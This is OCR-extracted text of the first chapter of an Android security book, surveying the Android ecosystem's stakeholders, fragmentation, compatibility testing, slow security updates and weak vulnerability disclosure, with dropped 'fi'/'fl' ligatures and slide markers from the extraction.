4 Chapter 1 ■ Looking at the Ecosystem c01.indd 01:14:5:PM 02/24/2014 Page 4 In the same way that Android releases are code-named individual builds are identif ed with a short build code as explained on the Code Names Tags and Build Numbers page at http://source.android.com/source/build-numbers .html. For example take the build number JOP40D. The f rst letter represents the code name of the Android release J is Jelly Bean. The second letter identif es the code branch from which the build was made though its precise meaning varies from one build to the next. The third letter and subsequent two digits comprise a date code. The letter represents the quarter starting from A which means the f rst quarter of 2009. In the example P represents the fourth quarter of 2012. The two digits signify days from the start of the quarter. In the example P40 is November 10 2012. The f nal letter differentiates individual versions for the same date again starting with A. The f rst builds for a particular date signif ed with A don’t usually use this letter. Examining the Device Pool As Android has grown so has the number of devices based on the operating system. In the past few years Android has been slowly branching out from the typical smartphone and tablet market f nding its way into the most unlikely of places. Devices such as smart watches television accessories game consoles ovens satellites sent to space and the new Google Glass a wearable device with a head-mounted display are powered by Android. The automotive industry is beginning to use Android as an infotainment platform in vehicles. The operat- ing system is also beginning to make a strong foothold in the embedded Linux space as an appealing alternative for embedded developers. All of these facts make the Android device pool an extremely diverse place. You can obtain Android devices from many retail outlets worldwide. Currently most mobile subscribers get subsidized devices through their mobile carriers. Carriers provide these subsidies under the terms of a contract for voice and data services. Those who do not want to be tied to a carrier can also purchase Android devices in consumer electronics stores or online. In some countries Google sells their Nexus line of Android devices in their online store Google Play . Google Nexus Nexus devices are Google’s f agship line of devices consisting mostly of smart- phones and tablets. Each device is produced by a different original equipment manufacturer OEM in a close partnership with Google. They are sold SIM- unlocked which makes switching carriers and traveling easy through Google Play directly by Google. To date Google has worked in cooperation with HTC

slide 37:

Chapter 1 ■ Looking at the Ecosystem 5 c01.indd 01:14:5:PM 02/24/2014 Page 5 Samsung LG and ASUS to create Nexus smartphones and tablets. Figure 1-2 shows some of the Nexus devices released in recent years. Figure 1-2: Google Nexus devices Nexus devices are meant to be the reference platform for new Android versions. As such Nexus devices are updated directly by Google soon after a new Android version is released. These devices serve as an open platform for developers. They have unlockable boot loaders that allow f ashing custom Android builds and are supported by the Android Open Source Project AOSP. Google also provides factory images which are binary f rmware images that can be f ashed to return the device to the original unmodif ed state. Another benef t of Nexus devices is that they offer what is commonly referred to as a pure Google experience. This means that the user interface has not been modif ed. Instead these devices offer the stock interface found in vanilla Android as compiled from AOSP . This also includes Google’s proprietary apps such as Google Now Gmail Google Play Google Drive Hangouts and more. Market Share Smartphone market share statistics vary from one source to another. Some sources include ComScore Kantar IDC and Strategy Analytics. An over- all look at the data from these sources shows that Android’s market share is on the rise in a large proportion of countries. According to a report released by Goldman Sachs Android was the number one player in the entire global computing market at the end of 2012. StatCounter’s GlobalStats available at http://gs.statcounter.com/ show that Android is currently the number one player in the mobile operating system market with 41.3 percent worldwide as

slide 38:

6 Chapter 1 ■ Looking at the Ecosystem c01.indd 01:14:5:PM 02/24/2014 Page 6 of November 2013. Despite these small variations all sources seem to agree that Android is the dominating mobile operating system. Release Adoption Not all Android devices run the same Android version. Google regularly pub- lishes a dashboard showing the relative percentage of devices running a given version of Android. This information is based on statistics gathered from visits to Google Play which is present on all approved devices. The most up-to-date version of this dashboard is available at http://developer.android.com/about/ dashboards/. Additionally Wikipedia contains a chart showing dashboard data aggregated over time. Figure 1-3 depicts the chart as of this writing which includes data from December 2009 to February 2013. Figure 1-3: Android historical version distribution Source: fjmustak Creative Commons Attribution-Share Alike 3.0 Unported license http:// en.wikipedia.org/wiki/File:Android_historical_version_ distribution.png As shown new versions of Android have a relatively slow adoption rate. It takes in excess of one year to get a new version running on 90 percent of devices. You can read more about this issue and other challenges facing Android in the “Grasping Ecosystem Complexities” section later in this chapter.

slide 39:

Chapter 1 ■ Looking at the Ecosystem 7 c01.indd 01:14:5:PM 02/24/2014 Page 7 Open Source Mostly AOSP is the manifestation of Google and the OHA members’ commitment to openness. At its foundation the Android operating system is built upon many different open source components. This includes numerous libraries the Linux kernel a complete user interface applications and more. All of these software components have an Open Source Initiative OSI–approved license. Most of the Android source is released under version 2.0 of the Apache Software License that you can f nd at apache.org/licenses/LICENSE-2.0. Some outliers do exist mainly consisting on upstream projects which are external open source projects on which Android depends. Two examples are the Linux kernel code that is licensed under GPLv2 and the WebKit project that uses a BSD-style license. The AOSP source repository brings all of these projects together in one place. Although the vast majority of the Android stack is open source the resulting consumer devices contain several closed source software components. Even devices from Google’s f agship Nexus line contain code that ships as propri- etary binary blobs. Examples include boot loaders peripheral f rmware radio components digital rights management DRM software and applications. Many of these remain closed source in an effort to protect intellectual property. However keeping them closed source hinders interoperability making com- munity porting efforts more challenging. Further many open source enthusiasts trying to work with the code f nd that Android isn’t fully developed in the open. Evidence shows that Google develops Android largely in secret. Code changes are not made available to the public immediately after they are made. Instead open source releases accompany new version releases. Unfortunately several times the open source code was not made available at release time. In fact the source code for Android Honeycomb 3.0 was not made available until the source code for Ice Cream Sandwich 4.0 was released. In turn the Ice Cream Sandwich source code wasn’t released until almost a month after the off cial release date. Events like these detract from the spirit of open source software which goes against two of Android’s stated goals: innovation and openness. Understanding Android Stakeholders Understanding exactly who has a stake in the Android ecosystem is important. Not only does it provide perspective but it also allows one to understand who is responsible for developing the code that supports various components. This section walks through the main groups of stakeholders involved including Google hardware vendors carriers developers users and security researchers.

slide 40:

8 Chapter 1 ■ Looking at the Ecosystem c01.indd 01:14:5:PM 02/24/2014 Page 8 This section explores each stakeholder’s purpose and motivations and it exam- ines how the stakeholders relate to each other. Each group is from a different f eld of industry and serves a particular pur- pose in the ecosystem. Google having given birth to Android develops the core operating system and manages the Android brand. Hardware fabricators make the underlying hardware components and peripherals. OEMs make the end-user devices and manage the integration of the various components that make a device work. Carriers provide voice and data access for mobile devices. A vast pool of developers including those who are employed by members of other groups work on a multitude of projects that come together to form Android. Figure 1-4 shows the relationships between the main groups of ecosystem stakeholders. Google All levels All levels Kernel Radio Apps boot loader and radio reqs OEMs Carriers System-on-Chip Manufacturers Consumers Figure 1-4: Ecosystem relationships These relationships indicate who talks to who when creating or updating an Android device. As the f gure clearly shows the Android ecosystem is very complex. Such business relationships are diff cult to manage and lead to a variety of complexities that are covered later in this chapter. Before getting into those issues it’s time to discuss each group in more detail. Google As the company that brought Android to market Google has several key roles in the ecosystem. Its responsibilities include legal administration brand

slide 41:

Chapter 1 ■ Looking at the Ecosystem 9 c01.indd 01:14:5:PM 02/24/2014 Page 9 management infrastructure management in-house development and enabling outside development. Also Google builds its line of Nexus devices in close cooperation with its partners. In doing so it strikes the business deals necessary to make sure that great devices running Android actually make it to market. Google’s ability to execute on all of these tasks well is what makes Android appealing to consumers. First and foremost Google owns and manages the Android brand. OEMs can- not legally brand their devices as Android devices or provide access to Google Play unless the devices meet Google’s compatibility requirements. The details of these requirements are covered in more depth in the “Compatibility” section later in this chapter. Because Android is open source compatibility enforce- ment is one of the few ways that Google can inf uence what other stakeholders can do with Android. Without it Google would be largely powerless to prevent the Android brand from being tarnished by a haphazard or malicious partner. The next role of Google relates to the software and hardware infrastructure needed to support Android devices. Services that support apps such as Gmail Calendar Contacts and more are all run by Google. Also Google runs Google Play which includes rich media content delivery in the form of books maga- zines movies and music. Delivering such content requires licensing agreements with distribution companies all over the world. Additionally Google runs the physical servers behind these services in their own data centers and the com- pany provides several crucial services to the AOSP such as hosting the AOSP sources factory image downloads binary driver downloads an issue tracker and the Gerrit code review tool. Google oversees the development of the core Android platform. Internally it treats the Android project as a full-scale product development operation. The software developed inside Google includes the operating system core a suite of core apps and several optional non-core apps. As mentioned previously Google develops innovations and enhancements for future Android versions in secret. Google engineers use an internal development tree that is not visible to device manufacturers carriers or third-party developers. When Google decides its software is ready for release it publishes factory images source code and application programming interface API documentation simultaneously. It also pushes updates out via over-the-air OTA distribution channels. After a release is in AOSP everyone can clone it and start their work building their version of the latest release. Separating development in this fashion enables developers and device manufacturers to focus on a single version without having to track the unf nished work of Google’s internal teams. As true as this may be closed development detracts from the credence of AOSP as an open source project. Yet another role for Google lies in fostering an open development community that uses Android as a platform. Google provides third-party developers with

slide 42:

10 Chapter 1 ■ Looking at the Ecosystem c01.indd 01:14:5:PM 02/24/2014 Page 10 development kits API documentation source code style guidance and more. All of these efforts help create a cohesive and consistent experience across mul- tiple third-party applications. By fulf lling these roles Google ensures the vitality of the Android as a brand a platform and an open source project. Hardware Vendors The purpose of an operating system is to provide services to applications and manage hardware connected to the device. After all without hardware the Android operating system software wouldn’t serve much purpose. The hardware of today’s smartphones is very complex. With such a small form factor and lots of peripherals supporting the necessary hardware is quite an undertaking. In order to take a closer look at the stakeholders in this group the following sec- tions break down hardware vendors into three subgroups that manufacture central processing units CPUs System-on-Chip SoC and devices respectively. CPU Manufacturers Although Android applications are processor agnostic native binaries are not. Instead native binaries are compiled for the specif c processor used by a particular device. Android is based on the Linux kernel which is portable and supports a multitude of processor architectures. Similarly Android’s Native Development Kit NDK includes tools for developing user-space native code for all application processor architectures supported by Android. This includes ARM Intel x86 and MIPS. Due to its low power consumption the ARM architecture has become the most widely used architecture in mobile devices. Unlike other microprocessor corporations that manufacture their own CPUs ARM Holdings only licenses its technology as intellectual property. ARM offers several microprocessor core designs including the ARM11 Cortex-A8 Cortex-A9 and Cortex-A15. The designs usually found on Android devices today feature the ARMv7 instruction set. In 2011 Intel and Google announced a partnership to provide support for Intel processors in Android. The Medf eld platform which features an Atom processor was the f rst Intel-based platform supported by Android. Also Intel launched the Android on Intel Architecture Android-IA project. This project is based on AOSP and provides code for enabling Android on Intel processors. The Android-IA website at https://01.org/android-ia/ is targeted at system and platform developers whereas the Intel Android Developer website at http:// software.intel.com/en-us/android/ is targeted at application developers. Some Intel-based smartphones currently on the market include an Intel pro- prietary binary translator named libhoudini. This translator allows running applications built for ARM processors on Intel-based devices.

slide 43:

Chapter 1 ■ Looking at the Ecosystem 11 c01.indd 01:14:5:PM 02/24/2014 Page 11 MIPS Technologies offers licenses to its MIPS architecture and microprocessor core designs. In 2009 MIPS Technologies ported Google’s Android operating system to the MIPS processor architecture. Since then several device manu- facturers have launched Android devices running on MIPS processors. This is especially true for set-top boxes media players and tablets. MIPS Technologies offers source code for its Android port as well as other development resources at http://www.imgtec.com/mips/developers/mips-android.asp. System-on-Chip Manufacturers System-on-Chip SoC is the name given to a single piece of silicon that includes the CPU core along with a graphics processing unit GPU random access memory RAM input/output I/O logic and sometimes more. For example many SoCs used in smartphones include a baseband processor. Currently most SoCs used in the mobile industry include more than one CPU core. Combining the components on a single chip reduces manufacturing costs and decreases power consumption ultimately leading to smaller and more eff cient devices. As mentioned previously ARM-based devices dominate the Android device pool. Within ARM devices there are four main SoC families in use: OMAP from Texas Instruments Tegra from nVidia Exynos from Samsung and Snapdragon from Qualcomm. These SoC manufacturers license the CPU core design from ARM Holdings. You can f nd a full list of licensees on ARM’s website at www.arm. com/products/processors/licensees.php. With the exception of Qualcomm SoC manufacturers use ARM’s designs without modif cation. Qualcomm invests additional effort to optimize for lower power consumption higher performance and better heat dissipation. Each SoC has different components integrated into it and therefore requires different support in the Linux kernel. As a result development for each SoC is tracked separately in a Git repository specif c to that SoC. Each tree includes SoC-specif c code including drivers and conf gurations. On several occasions this separation has led to vulnerabilities being introduced into only a subset of the SoC-specif c kernel source repositories. This situation contributes to one of the key complexities in the Android ecosystem which is discussed further in the “Grasping Ecosystem Complexities” section later in this chapter. Device Manufacturers Device manufacturers including original design manufacturers ODMs and OEMs design and build the products used by consumers. They decide which combination of hardware and software will make it into the f nal unit and take care of all of the necessary integration. They choose the hardware components that will be combined together the device form factor screen size materials battery camera lens sensors radios and so on. Usually device manufacturers

slide 44:

12 Chapter 1 ■ Looking at the Ecosystem c01.indd 01:14:5:PM 02/24/2014 Page 12 partner up with a SoC manufacturer for a whole line of products. Most choices made when creating a new device relate directly to market differentiation targeting a particular customer segment or building brand loyalty. While developing new products device manufacturers have to adapt the Android platform to work well on its new hardware. This task includes adding new kernel device drivers proprietary bits and user-space libraries. Further OEMs often make custom modif cations to Android especially in the Android Framework. To comply with the GPLv2 license of the Android kernel OEMs are forced to release kernel sources. However the Android Framework is licensed under the Apache 2.0 License which allows modif cations to be redistributed in binary form without having to release the source code. This is where most vendors try to put their innovations to differentiate their devices from others. For example the Sense and Touchwiz user interface modif cations made by HTC and Samsung are implemented primarily in the Android Framework. Such modi- f cations are a point of contention because they contribute to several complex security-related problems in the ecosystem. For example customizations may introduce new security issues. You can read more about these complexities in the “Grasping Ecosystem Complexities” section later in this chapter. Carriers Aside from providing mobile voice and data services carriers close deals with device manufacturers to subsidize phones to their clients. The phones obtained through a carrier usually have a carrier-customized software build. These builds tend to have the carrier logo in the boot screen preconf gured Access Point Name APN network settings changes in the default browser home page and browser bookmarks and a lot of pre-loaded applications. Most of the time these changes are embedded into the system partition so that they cannot be removed easily. In addition to adding customization to the device’s f rmware carriers also have their own quality assurance QA testing procedures in place. These QA processes are reported to be lengthy and contribute to the slow uptake of software updates. It is very common to see an OEM patch a security hole in the operating system for its unbranded device while the carrier-branded device remains vulnerable for much longer. It’s not until the update is ready to be distributed to the car- rier devices that subsidized users are updated. After they have been available for some time usually around 12 to 18 months devices are discontinued. Some devices are discontinued much more quickly—in a few cases even immediately after release. After that point any users still using such a device will no longer receive updates regardless of whether they are security related or not.

slide 45:

Chapter 1 ■ Looking at the Ecosystem 13 c01.indd 01:14:5:PM 02/24/2014 Page 13 Developers As an open source operating system Android is an ideal platform for developers to play with. Google engineers are not the only people contributing code to the Android platform. There are a lot of individual developers and enti- ties who contribute to AOSP on their own behalf. Every contribution to AOSP coming either from Google or from a third party has to use the same code style and be processed through Google’s source code review system Gerrit. During the code review process someone from Google decides whether to include or exclude the changes. Not all developers in the Android ecosystem build components for the operat- ing system itself. A huge portion of developers in the ecosystem are application developers. They use the provided software development kits SDKs frameworks and APIs to build apps that enable end users to achieve their goals. Whether these goals are productivity entertainment or otherwise app developers aim to meet the needs of their user base. In the end developers are driven by popularity reputation and proceeds. App markets in the Android ecosystem offer developers incentives in the form of revenue sharing. For example advertisement networks pay developers for plac- ing ads in their applications. In order to maximize their prof ts app developers try to become extremely popular while maintaining an upstanding reputation. Having a good reputation in turn drives increased popularity. Custom ROMs The same way manufacturers introduce their own modif cations to the Android platform there are other custom f rmware projects typically called ROMs devel- oped by communities of enthusiasts around the world. One of the most popular Android custom f rmware projects is CyanogenMod. With 9.5 million active installs in December 2013 it is developed based on the off cial releases of Android with additional original and third-party code. These community-modif ed versions of Android usually include performance tweaks interface enhancements features and options that are typically not found in the off cial f rmware distributed with the device. Unfortunately they often undergo less extensive testing and quality assurance. Further similar to the situation with OEMs modif cations made in custom ROMs may introduce additional security issues. Historically device manufacturers and mobile carriers have been unsup- portive of third-party f rmware development. To prevent users from using custom ROMs they place technical obstacles such as locked boot loaders or

slide 46:

14 Chapter 1 ■ Looking at the Ecosystem c01.indd 01:14:5:PM 02/24/2014 Page 14 NAND locks. However custom ROMs have grown more popular because they provide continued support for older devices that no longer receive off cial updates. Because of this manufacturers and carriers have softened their posi- tions regarding unoff cial f rmware. Over time some have started shipping devices with unlocked or unlockable boot loaders similar to Nexus devices. Users Android would not be the thriving community that it is today without its mas- sive user base. Although each individual user has unique needs and desires they can be classif ed into one of three categories. The three types of end users include general consumers power users and security researchers. Consumers Since Android is the top-selling smartphone platform end users enjoy a wide range of devices to choose from. Consumers want a single multifunction device with personal digital assistant PDA functions camera global position system GPS navigation Internet access music player e-book reader and a complete gaming platform. Consumers usually look for a productivity boost to stay organized or stay in touch with people in their lives to play games on the go and to access information from various sources on the Internet. On top of all this they expect a reasonable level of security and privacy. The openness and f exibility of Android is also apparent to consumers. The sheer number of available applications including those installable from sources outside off cial means is directly attributable to the open development com- munity. Further consumers can extensively customize their devices by install- ing third-party launchers home screen widgets new input methods or even full custom ROMs. Such f exibility and openness is often the deciding factor for those who choose Android over competing smartphone operating systems. Power Users The second type of user is a special type of consumer called power users in this text. Power users want to have the ability to use features that are beyond what is enabled in stock devices. For example users who want to enable Wi-Fi teth- ering on their devices are considered members of this group. These users are intimately familiar with advanced settings and know the limitations of their devices. They are much less averse to the risk of making unoff cial changes to the Android operating system including running publicly available exploits to gain elevated access to their devices.

slide 47:

Chapter 1 ■ Looking at the Ecosystem 15 c01.indd 01:14:5:PM 02/24/2014 Page 15 Security Researchers You can consider security researchers a subset of power users but they have additional requirements and differing goals. These users can be motivated by fame fortune knowledge openness protecting systems or some combination of these ideals. Regardless of their motivations security researchers aim to discover previously unknown vulnerabilities in Android. Conducting this type of research is far easier when full access to a device is available. When elevated access is not available researchers usually seek to obtain elevated access f rst. Even with full access this type of work is challenging. Achieving the goals of a security researcher requires deep technical knowl- edge. Being a successful security researcher requires a solid understanding of programming languages operating system internals and security concepts. Most researchers are competent in developing reading and writing several dif- ferent programming languages. In some ways thi s makes security researchers members of the developers group too. It’s common for security researchers to study security concepts and operating system internals at great length includ- ing staying on top of cutting edge information. The security researcher ecosystem group is the primary target audience of this book which has a goal of both providing base knowledge for budding researchers and furthering the knowledge of established researchers. Grasping Ecosystem Complexities The OHA includes pretty much all major Android vendors but some parties are working with different goals. Some of these goals are competing. This leads to various partnerships between manufacturers and gives rise to some massive cross-organizational bureaucracy. For example Samsung memory division is one of the world’s largest manufacturers of NAND f ash. With around 40 percent market share Samsung produces dynamic random access memory DRAM and NAND memory even for devices made by competitors of its mobile phones division. Another controversy is that although Google does not directly earn anything from the sale of each Android device Microsoft and Apple have successfully sued Android handset manufacturers to extract patent royalty payments from them. Still this is not the full extent of the complexities that plague the Android ecosystem. Apart from legal battles and diff cult partnerships the Android ecosystem is challenged by several other serious problems. Fragmentation in both hard- ware and software causes complications only some of which are addressed by Google’s compatibility standards. Updating the Android operating system itself

slide 48:

16 Chapter 1 ■ Looking at the Ecosystem c01.indd 01:14:5:PM 02/24/2014 Page 16 remains a signif cant challenge for all of the ecosystem stakeholders. Strong roots in open source further complicate software update issues giving rise to increased exposure to known vulnerabilities. Members of the security research community are troubled with the dilemma of deciding between security and openness. This dilemma extends to other stakeholders as well leading to a terrible disclosure track record. The following sections discuss each of these problem areas in further detail. Fragmentation The Android ecosystem is rampant with fragmentation due to the differences between the multitudes of various Android devices. The open nature of Android makes it ideal for mobile device manufacturers to build their own devices based off the platform. As a result the device pool is made up of many different devices from many different manufacturers. Each device is composed of a variety of software and hardware including OEM or carrier-specif c modif cations. Even on the same device the version of Android itself might vary from one carrier or user to another. Because of all of these differences consumers developers and security researchers wrestle with fragmentation regularly. Although fragmentation has relatively little effect on consumers it is slightly damaging to the Android brand. Consumers accustomed to using Samsung devices who switch to a device from HTC are often met with a jarring experi- ence. Because Samsung and HTC both highly customize the user experience of their devices users have to spend some time reacquainting themselves with how to use their new devices. The same is also true for longtime Nexus device users who switch to OEM-branded devices. Over time consumers may grow tired of this issue and decide to switch to a more homogeneous platform. Still this facet of fragmentation is relatively minor. Application developers are signif cantly more affected by fragmentation than consumers. Issues primarily arise when developers attempt to support the variety of devices in the device pool including the software that runs on them. Testing against all devices is very expensive and time intensive. Although using the emulator can help it’s not a true representation of what users on actual devices will encounter. The issues developers must deal with include differing hardware conf gurations API levels screen sizes and peripheral availability. Samsung has more than 15 different screen sizes for its Android devices ranging from 2.6 inches to 10.1 inches. Further High-Def nition Multimedia Interface HDMI dongles and Google TV devices that don’t have a touchscreen require specialized input handling and user interface UI design. Dealing with all of this fragmentation is no easy task but thankfully Google provides developers with some facilities for doing so.

slide 49:

Chapter 1 ■ Looking at the Ecosystem 17 c01.indd 01:14:5:PM 02/24/2014 Page 17 Developers create applications that perform well across different devices in part by doing their best to hide fragmentation issues. To deal with differing screen sizes the Android UI framework allows applications to query the device screen size. When an app is designed properly Android automatically adjusts application assets and UI layouts appropriately for the device. Google Play also allows app developers to deal with differing hardware conf gurations by declar- ing requirements within the application itself. A good example is an application that requires a touchscreen. On a device without a touchscreen viewing such an app on Google Play shows that the app does not support the device and cannot be installed. The Android application Support Library transparently deals with some API-level differences. However despite all of the resources available some compatibility issues remain. Developers are left to do their best in these corner cases often leading to frustration. Again this weakens the Android ecosystem in the form of developer disdain. For security fragmentation is both positive and negative depending mostly on whether you take the perspective of an attacker or a defender. Although attack- ers might easily f nd exploitable issues on a particular device those issues are unlikely to apply to devices from a different manufacturer. This makes f nding f aws that affect a large portion of the ecosystem diff cult. Even when equipped with such a f aw variances across devices complicate exploit development. In many cases developing a universal exploit one that works across all Android versions and all devices is not possible. For security researchers a comprehen- sive audit would require reviewing not only every device ever made but also every revision of software available for those devices. Quite simply put this is an insurmountable task. Focusing on a single device although more approachable does not paint an adequate picture of the entire ecosystem. An attack surface present on one device might not be present on another. Also some components are more diff cult to audit such as closed source software that is specif c to each device. Due to these challenges fragmentation simultaneously makes the job of an auditor more diff cult and helps prevent large-scale security incidents. Compatibility One complexity faced by device manufacturers is compatibility. Google as the originator of Android is charged with protecting the Android brand. This includes preventing fragmentation and ensuring that consumer devices are compatible with Google’s vision. To ensure device manufacturers comply with the hardware and software compatibility requirements set by Google the com- pany publishes a compatibility document and a test suite. All manufacturers who want to distribute devices under the Android brand have to follow these guidelines.

slide 50:

18 Chapter 1 ■ Looking at the Ecosystem c01.indd 01:14:5:PM 02/24/2014 Page 18 Compatibility Defi nition Document The Android Compatibility Def nition Document CDD available at http://source .android.com/compatibility/ enumerates the software and hardware require- ments of a “compatible” Android device. Some hardware must be present on all Android devices. For example the CDD for Android 4.2 specif es that all device implementations must include at least one form of audio output and one or more forms of data networking capable of transmitting data at 200K bit/s or greater. However the inclusion of various peripherals is left up to the device manufacturer. If certain peripherals are included the CDD specif es some additional requirements. For example if the device manufacturer decides to include a rear-facing camera then the camera must have a resolution of at least 2 megapixels. Devices must follow CDD requirements to bear the Android moniker and further to ship with Google’s applications and services. Compatibility Test Suite The Android Compatibility Test Suite CTS is an automated testing harness that executes unit tests from a desktop computer to the attached mobile devices. CTS tests are designed to be integrated into continuous build systems of the engineers building a Google-certif ed Android device. Its intent is to reveal incompatibilities early on and ensure that the software remains compatible throughout the development process. As previously mentioned OEMs tend to heavily modify parts of the Android Framework. The CTS makes sure that APIs for a given version of the platform are unmodif ed even after vendor modif cations. This ensures that applica- tion developers have a consistent development experience regardless of who produced the device. The tests performed in the CTS are open source and continually evolving. Since May 2011 the CTS has included a test category called security that cen- tralizes tests for security bugs. You can review the current security tests in the master branch of AOSP at https://android.googlesource.com/platform/ cts/+/master/tests/tests/security. Update Issues Unequivocally the most important complexity in the Android ecosystem relates to the handling of software updates especially security f xes. This issue is fueled by several other complexities in the ecosystem including third-party software OEM customizations carrier involvement disparate code ownership and more. Problems keeping up with upstream open source projects technical issues with deploying operating system updates lack of back-porting and a defunct alliance

slide 51:

Chapter 1 ■ Looking at the Ecosystem 19 c01.indd 01:14:5:PM 02/24/2014 Page 19 are at the heart of the matter. Overall this is the single largest factor contribut- ing to the large number of insecure devices in use in the Android ecosystem. Update Mechanisms The root cause of this issue stems from the divergent processes involved in updating software in Android. Updates for apps are handled differently than operating system updates. An app developer can deploy a patch for a security f aw in his app via Google Play. This is true whether the app is written by Google OEMs carriers or independent developers. In contrast a security f aw in the operating system itself requires deploying a f rmware upgrade or OTA update. The process for creating and deploying these types of updates is far more arduous. For example consider a patch for a f aw in the core Android operating sys- tem. A patch for such an issue begins with Google f xing the issue f rst. This is where things get tricky and become device dependent. For Nexus devices the updated f rmware can be released directly to end users at this point. However updating an OEM-branded device still requires OEMs to produce a build including Google’s security f x. In another twist OEMs can deliver the updated f rmware directly to end users of unlocked OEM devices at this point. For carrier- subsidized devices the carrier must prepare its customized build including the f x and deliver it to the customer base. Even in this simple example the update path for operating system vulnerabilities is far more complicated than applica- tion updates. Additional problems coordinating with third-party developers or low-level hardware manufacturers could also arise. Update Frequency As previously mentioned new versions of Android are adopted quite slowly. In fact this particular issue has spurred public outcry on several occasions. In April 2013 the American Civil Liberties Union ACLU f led a complaint with the Federal Trade Commission FTC. They stated that the four major mobile carriers in the U.S. did not provide timely security updates for the Android smartphones they sell. They further state that this is true even if Google has published updates to f x exploitable security vulnerabilities. Without receiving timely security updates Android cannot be considered a mature safe or secure operating system. It’s no surprise that people are looking for government action on the matter. The time delta between bug reporting f x development and patch deployment varies widely. The time between bug reporting and f x development is often short on the order of days or weeks. However the time between f x development and that f x getting deployed on an end user’s device can range from weeks to

slide 52:

20 Chapter 1 ■ Looking at the Ecosystem c01.indd 01:14:5:PM 02/24/2014 Page 20 months or possibly never. Depending on the particular issue the overall patch cycle could involve multiple ecosystem stakeholders. Unfortunately end users pay the price because their devices are left vulnerable. Not all security updates in the Android ecosystem are affected by these complexities to the same degree. For example apps are directly updated by their authors. App authors’ ability to push updates in a timely fashion has led to several quick patch turnarounds in the past. Additionally Google has proven their ability to deploy f rmware updates for Nexus devices in a reasonable time frame. Finally power users sometimes patch their own devices at their own risk. Google usually patches vulnerabilities in the AOSP tree within days or weeks of the discovery. At this point OEMs can cherry-pick the patch to f x the vulner- ability and merge it into their internal tree. However OEMs tend to be slow in applying patches. Unbranded devices usually get updates faster than carrier devices because they don’t have to go through carrier customizations and car- rier approval processes. Carrier devices usually take months to get the security updates if they ever get them. Back-porting The term back-porting refers to the act of applying the f x for a current version of software to an older version. In the Android ecosystem back-ports for secu- rity f xes are mostly nonexistent. Consider a hypothetical scenario: The latest version of Android is 4.2. If a vulnerability is discovered that affects Android 4.0.4 and later Google f xes the vulnerability only in 4.2.x and later versions. Users of prior versions such as 4.0.4 and 4.1.x are left vulnerable indef nitely. It is believed that security f xes may be back-ported in the event of a widespread attack. However no such attack is publicly known at the time of this writing. Android Update Alliance In May 2011 during Google I/ O Android Product Manager Hugo Barra announced the Android Update Alliance. The stated goal of this initiative was to encour- age partners to make a commitment to update their Android devices for at least 18 months after initial release. The update alliance was formed by HTC LG Motorola Samsung Sony Ericsson ATT T-Mobile Sprint Verizon and Vodafone. Unfortunately the Android Update Alliance has never been men- tioned again after the initial announcement. Time has shown that the costs of developing new f rmware versions issues with legacy devices problems in newly released hardware testing problems on new versions or development issues could stand in the way of timely updates happening. This is especially problematic on poorly selling devices where carriers and manufacturers have no incentive to invest in updates.

slide 53:

Chapter 1 ■ Looking at the Ecosystem 21 c01.indd 01:14:5:PM 02/24/2014 Page 21 Updating Dependencies Keeping up with upstream open source projects is a cumbersome task. This is especially true in the Android ecosystem because the patch lifecycle is so extended. For example the Android Framework includes a web browser engine called WebKit. Several other projects also use this engine including Google’s own Chrome web browser. Chrome happens to have an admirably short patch lifecycle on the order of weeks. Unlike Android it also has a successful bug bounty program in which Google pays for and discloses discovered vulner- abilities with each patch release. Unfortunately many of these bugs are pres- ent in the code used by Android. Such a bug is often referred to as a half-day vulnerability. The term is born from the term half-life which measures the rate at which radioactive material decays. Similarly a half-day bug is one that is decaying. Sadly while it decays Android users are left exposed to attacks that may leverage these types of bugs. Security versus Openness One of the most profound complexities in the Android ecosystem is between power users and security-conscious vendors. Power users want and need to have unfettered access to their devices. Chapter 3 discusses the rationale behind these users’ motivations further. In contrast a completely secure device is in the best interests of vendors and everyday end users. The needs of power users and vendors give rise to interesting challenges for researchers. As a subset of all power users security researchers face even more challeng- ing decisions. When researchers discover security issues they must decide what they do with this information. Should they report the issue to the vendor Should they disclose the issue openly If the researcher reports the issue and the vendor f xes it it might hinder power users from gaining the access they desire. Ultimately each researcher’s decision is driven by individual motiva- tions. For example researchers routinely withhold disclosure when a publicly viable method to obtain access exists. Doing so ensures that requisite access is available in the event that vendors f x the existing publicly disclosed methods. It also means that the security issues remain unpatched potentially allowing malicious actors to take advantage of them. In some cases researchers choose to release heavily obfuscated exploits. By making it diff cult for the vendors to discover the leveraged vulnerability power users are able to make use of the exploit longer. Many times the vulnerabilities used in these exploits can only be used with physical access to the device. This helps strike a balance between the conf icting wants of these two stakeholder groups. Vendors also struggle to f nd a balance between security and openness. All vendors want satisf ed customers. As mentioned previously vendors modify

slide 54:

22 Chapter 1 ■ Looking at the Ecosystem c01.indd 01:14:5:PM 02/24/2014 Page 22 Android in order to please users and differentiate themselves. Bugs can be introduced in the process which detracts from overall security. Vendors must decide whether to make such modif cations. Also vendors support devices after they are purchased. Power user modif cations can destabilize the system and lead to unnecessary support calls. Keeping support costs low and protecting against fraudulent warranty replacements are in the vendors’ best interests. To deal with this particular issue vendors employ boot loader locking mechanisms. Unfortunately these mechanisms also make it more diff cult for competent power users to modify their devices. To compromise many vendors provide ways for end users to unlock devices. You can read more about these methods in Chapter 3. Public Disclosures Last but not least the f nal complexity relates to public disclosures or public announcement of vulnerabilities. In information security these announcements serve as notice for system administrators and savvy consumers to update the software to remediate discovered vulnerabilities. Several metrics including full participation in the disclosure process can be used to gauge a vendor’s security maturity. Unfortunately such disclosures are extremely rare in the Android ecosystem. Here we document known public disclosures and explore several possible reasons why this is the case. In 2008 Google started the android-security-announce mailing list on Google groups. Unfortunately the list contains only a single post introducing the list. You can f nd that single message at https://groups.google.com/d/ msg/android-security-announce/aEba2l7U23A/vOyOllbBxw8J. After the initial post not a single off cial security announcement was ever made. As such the only way to track Android security issues is by reading change logs in AOSP tracking Gerrit changes or separating the wheat from chaff in the Android issue tracker at https://code.google.com/p/android/issues/list. These methods are time consuming error prone and unlikely to be integrated into vulnerability assessment practices. Although it is not clear why Google has not followed through with their intentions to deliver security announcements there are several possible reasons. One possibility involves the extended exposure to vulnerabilities ramping in the Android ecosystem. Because of this issue it’s possible that Google views publicly disclosing f xed issues as irresponsible. Many security professionals including the authors of this text believe that the danger imposed by such a disclosure is far less than that of the extended exposure itself. Yet another possibility involves the complex partnerships between Google device manufac- turers and carriers. It is easy to see how disclosing a vulnerability that remains present in a business partner’s product could be seen as bad business. If this

slide 55:

